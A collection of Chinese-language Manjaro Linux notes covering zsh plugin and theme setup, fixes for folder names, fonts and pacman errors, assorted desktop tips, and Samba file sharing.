git clone https://hub.fastgit.org/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions
# 高亮你的zsh可用命令插件
git clone https://hub.fastgit.org/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting
# Better completion for npm
git clone https://hub.fastgit.org/lukechilds/zsh-better-npm-completion ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-better-npm-completion
~~~
### incr 补全插件
让你在zsh 模式下全自动补全指令或目录
官网: http://mimosa-pudica.net/zsh-incremental.html
1. 下载插件
```
wget https://mimosa-pudica.net/src/incr-0.2.zsh
```
2. 加载插件
然后是配置 .zshrc 文件:
~~~
➜ vim ~/.zshrc
~~~
然后插入一句下面的 shell 脚本:
~~~
source ~/.oh-my-zsh/plugins/incr/incr*.zsh
~~~
重启之后就就可以愉快的使用 zsh 了~
> [zsh-incr自动补全插件](https://xuanyu.li/2018/04/12/zsh-incr)
## 设置主题
修改配置文件 `vim ~/.zshrc` 中的 ZSH_THEME 来设置使用的风格
~~~
ZSH_THEME="cypher"
~~~
系统内置了超级多的themes,
可以进入文夹`~/.oh-my-zsh/themes`中进行查看,自行选择喜欢的,还可以自行配置。
~~~
cd ~/.oh-my-zsh/themes
ls
~~~
## powerlevel10k
```zsh
git clone --depth=1 https://gitee.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k
```
`~/.zshrc` 修改,保存退出:
```
ZSH_THEME="powerlevel10k/powerlevel10k"
```
打开后自动提示配置,或者配置命令:
```
p10k configure
```
配置后生成的配置文件:`~/.p10k.zsh`
字体可选:
Operator Mono Lig
Dank Mono
[JetBrains Mono](https://www.jetbrains.com/lp/mono/#how-to-install)
> 参考:[powerlevel10k](https://gitee.com/romkatv/powerlevel10k#manual)
';
问题
最后更新于:2022-04-01 22:03:38
[TOC]
# 问题
## [个人文件夹显示中文名实际路径英文名](http://blog.csdn.net/ablo_zhou/article/details/5392987)
Xee:setting设置中改成系统改成英文语言即可!
************
相比于Windows的显示中文,但实际路径是英文,HOME下的中文目录的实际路径也是中文,这样一来在终端输入路径的实际还要切换输入法,相当麻烦,为什么会产生这样的结果?
原来这是freedesktop.org为了方便群众搞的xgd-users-dirs ,在不同的语言下自动创建一些经常用到的目录。xdg-user-dirs-update 这个工具会在系统登录阶段运行,它读取配置文件和用户目录信息,并创建用户本地语言版本的常用目录。设置 到$(XDG_CONFIG_HOME)/user-dirs.dirs (XDG_CONFIG_HOME defaults to ~/.config),以便应用程序读取和使用这些目录。
本文旨在将个人主目录的显示方式改为类似Windows。
1. 我们可以先将目录都改成英文的。
~~~
export LANG=en_US
~~~
执行
~~~
xdg-user-dirs-gtk-update
~~~
这时会弹出一个配置界面,将所有中文的用户目录切换到英文。选中不再提示,确定。
这时,会删除没有内容的用户目录,但有内容的用户目录会保持。并创建相应的英文目录:
Desktop/Download/Templates/Public/Documents/Music/Pictures/Videos
此时,在位置里看到的常用中文目录已经换成英文目录。只需将原中文目录的内容拷贝到相应英文目录,并删除中文目录即可。
然后再执行
~~~
export LANG=zh_CN.UTF-8
~~~
以显示中文。
如果记不住该命令,很简单。注销。在登录界面选英语,进来后该对话框就会弹出来提示你是否切换用户目录了。切换完了注销,再切换成中文界面,但这时 不要切换用户目录了。
2.显示中文,但实际是英文目录
这时,桌面也对应/home/chandlerver5/Desktop,但“位置”里面,“主文件夹”,“桌面”点开都对应英文目录。
理想化的解决方案,是看到的目录是中文,但打开的目录是英文。和Windows操作系统一致。这样免得中英夹杂,影响视觉和心情。
其实这也是可以办到的。
点“位置”->"主文件夹",打开文件浏览器(Nautilus),
在书签菜单,右键选择重命名,注销登陆,弹出提示,选择保留英文名,不再提醒!
## Error: could not open file ...
pacman 安装或者删除软件出现:Error: could not open file /var/lib/pacman/local/phpstorm-jre-2017.2.4-1/desc: No such file or directory
~~~
rm -R /var/lib/pacman/local/phpstorm-jre-2017.2.4-1/
~~~
***执行这个文件夹删除命令。
## [netease-cloud-music 运行不显示](https://www.zhihu.com/question/52084770)
是因为网易云音乐的沙盒有Bug。
解决办法:
```
sudo vim /usr/share/applications/netease-cloud-music.desktop
```
后更改为
```
Exec = netease-cloud-music %U --no-sandbox
```
# 错误
## 字体
### 中文字体显示异常
```
sudo fc-cache -vf # 刷新字体缓存
```
> [MacOS like Fonts on Manjaro/Arch Linux](https://aswinmohan.me/posts/better-fonts-on-linux/)
> [现在Arch Wiki上修正简体中文显示为异体字形的方法好像行不通了](https://forum.manjaro.org/t/arch-wiki/46784)
## 终端字体
最新的[cairo](https://www.archlinux.org/packages/extra/x86_64/cairo/)更新:
...增加了对终端中颜色表情符号的支持:
~~~
$ yay -Q cairo
~~~
### 表情字体
测试网址:
https://getemoji.com/
https://gitmoji.dev/
> [Manjaro表情字体调教指南](https://guanhuo.link/archives/61)
## Cannot find fakeroot binary
解决方法:因为没安装 fakeroot、binutils 等打包基本工具,所以`sudo pacman -S base-devel`装一下。
';
技巧
最后更新于:2022-04-01 22:03:36
[TOC]
# 结束进程
```
yay -S xkill
xkill
```
> [四种强制关闭无反应的进程](https://m.linuxidc.com/Linux/2019-02/156735.htm)
# TeamViewer 使用
软件管理安装 TeamViewer;
Teamviewer 如果出现 "Not ready, please check connection ...
需要开启服务:
```
sudo teamviewer -daemon enable
```
然后等待...
# 安装`.deb`应用
```
yay -S debtap
sudo debtap -u
debtap -q xxx.deb # 静默模式转换安装包 根据提示输入包名随便写 license写GPL
sudo pacman -U xxx.pkg.tar.xz # 使用
```
# 桌面图标
Desktop 文件 有些工具软件并不会生成图标,需要自己创建 Desktop 文件。推荐使用 alacarte 这个工具来生成。如果常用的话,可以拖到左侧 favorites。
# 显示桌面
进入 Settings -> “快捷键”,找到 “Hidden all normal windows”,按自己想要的快捷键修改即可,例如:`Win+D`
# 隐藏文件始终显示
1. `CTRL + H` 快捷见显示!
2. 使用以下命令打开 **dconf 系统配置编辑器**:
```
dconf-editor
```
搜索 `hidden-file`键,进行设置!
# Swap 分区
[manjaro配置何时使用swap](https://www.tang520.top/?p=2092)
[Manjaro设置交换分区](https://zhuanlan.zhihu.com/p/55613343)
# Wine 字体显示
新建文件:`chn_font.reg`:
```
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\FontLink\SystemLink]
"Lucida Sans Unicode"="msyh.ttc"
"Microsoft Sans Serif"="msyh.ttc"
"MS Sans Serif"="msyh.ttc"
"Tahoma"="msyh.ttc"
"Tahoma Bold"="msyhbd.ttc"
"msyh"="msyh.ttc"
"Arial"="msyh.ttc"
"Arial Black"="msyh.ttc"
```
注意请将`msyh.ttc`替换为你系统中的字体文件名,如文泉驿正黑是`wqy-zenhei.ttc`(请在`/usr/share/fonts`及其子文件夹中寻找相应字体文件)。
最后,打开注册表`~/.wine/drive_c/windows/regedit.exe`,导入上面的注册表文件即可。
或者执行命令:
~~~
regedit chn_font.reg
~~~
中文应该都能完美显示了(包括 Picasa 中文显示为方框、软件安装程序汉字无法显示等问题均可被解决)。
## 单独调整 WeChat 显示
运行命令:
```
env WINEPREFIX="$HOME/.deepinwine/Deepin-WeChat" winecfg
```
设置 windows version:windows 7
> [Wine的中文显示与字体设置](http://linux-wiki.cn/wiki/Wine%E7%9A%84%E4%B8%AD%E6%96%87%E6%98%BE%E7%A4%BA%E4%B8%8E%E5%AD%97%E4%BD%93%E8%AE%BE%E7%BD%AE)
> [Ubuntu下给Wine设置微软雅黑字体(4步操作)](https://juejin.im/entry/6844903917742981128)
# Manjaro 中文字体
拷贝 mac 上的字体 到 Mnajaro 中的 `/usr/share/fonts`
[manjaro中文字体安装与设置](https://www.jianshu.com/p/26fa3a803439)
> https://eonun.com/posts/eb298cff/
> https://printempw.github.io/setting-up-manjaro-linux/
';
共享文件
最后更新于:2022-04-01 22:03:34
[TOC]
# Manjaro 配置Samba 共享文件夹
## Dolphin - KDE/plasma
```
yay -S samba kdenetwork-filesharing manjaro-settings-samba
```
## Nautilus
```
yay -S nautilus-share manjaro-settings-samba
```
编辑 `/etc/samba/smb.conf`配置文件,按照格式最后添加:
```
...
[m_sharee]
comment = MShare Directories
path = /home/{username}/m_share
browseable = yes
read only = no
create mask = 0700
directory mask = 0700
```
`read only` 属性设置为`no` 是为了有写入文件权限。
添加分享用户并设置密码
```shell
gpasswd sambashare -a username
smbpasswd -a username
```
启用smaba 服务
```shell
systemctl enable smb nmb
systemctl start smb nmb
```
在其他设备上,添加*服务器*,输入该本地 ip 地址,然后输入所授权的用户密码登录,即可~
# 参考
https://blog.csdn.net/aaa111/article/details/82774860
[Using Samba in your File Manager](https://wiki.manjaro.org/index.php?title=Using_Samba_in_your_File_Manager)
';